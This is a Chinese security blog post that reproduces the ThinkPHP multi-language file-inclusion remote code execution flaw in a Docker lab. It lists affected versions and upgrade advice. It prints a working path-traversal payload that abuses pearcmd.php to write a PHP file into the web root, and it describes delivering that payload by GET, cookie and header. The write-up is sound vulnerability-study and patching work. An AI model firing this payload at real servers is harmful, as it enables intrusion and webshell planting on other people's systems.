点击蓝字 关注我们
”
免责声明
本文章只用于技术交流,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责。
前言
之前本来是打算复现Apache Fineract 远程代码执行漏洞的,但是由于在环境搭建的编译文件的时候一直报错,折磨了好久;又赶上新出的tp洞,所以这次跟着热度走,复现一下thinkphp多语言模块远程代码执行漏洞
漏洞详情
漏洞描述:
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。
影响版本:
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
利用条件:
1、多语言开启
2、安装pear扩展
3、知道pearcmd.php路径
4、register_argc_argv=on
修复建议:
1、若无必要,可关闭多语言功能,可参考文档
https://www.kancloud.cn/manual/thinkphp6_0/1037637
https://static.kancloud.cn/manual/thinkphp5/118132
2、官方已发布6.0.14、5.1.42,建议升级至安全版本,链接如下:
https://github.com/top-think/framework/tags
漏洞复现
环境搭建:
服务器首先要有docker环境
没有的可以先部署一个
1、docker直接拉取thinkphp:6.0.12的漏洞环境镜像:
docker pull vulfocus/thinkphp:6.0.12
启动容器,将容器的80端口映射到本机的80端口
docker run --name tp123 -p 80:80 -d 镜像id
2、如果搭建了vulfocus的可以直接使用vulfocus中自带的thinkphp5.0.23
cd到/vulhub/thinkphp/5.0.23-rce目录下直接
docker-compose up -d
默认映射端口是8080
注:使用云服务器师傅们记得在控制台放行一下端口哈T^T
pearcmd.php
这个文件的一些具体细节可以参考这篇文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
进入容器查看pearcmd.php文件路径为
/usr/local/lib/php/pearcmd.php
EXP
/index?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php
★
GET:
在利用get写入文件的时候不知道是不是对../长度做了限制,只用一个../的时候响应还是正常的,但是两个或两个以上的../的时候会connetion reset,同一个环境,有师傅就可以写。有知道原因的师傅可以交流一下。
使用一个../的时候返回正常
使用大于两个../的时候于服务器的连接出现异常,如下:
★
Cookie:
还是同一个环境,在cookie处就可以正常遍历路径,可以成功写入文件。
★
header:
使用header写入文件的方式也没有复现成功,因为时间有限,试了一些方法后也没有成功。打算之后再试试其他办法。知道原因的师傅,希望可以交流交流
文章中的一些问题希望各位大佬不吝赐教,对于一些错误之处希望各位师傅多多指正!气温骤降啦,各位师傅在应急的同时也要注意保暖呀!
✦
✦ ✦
公众号|A9 Team
作者|gnoy
原文始发于微信公众号(A9 Team):漏洞复现|Thinkphp RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论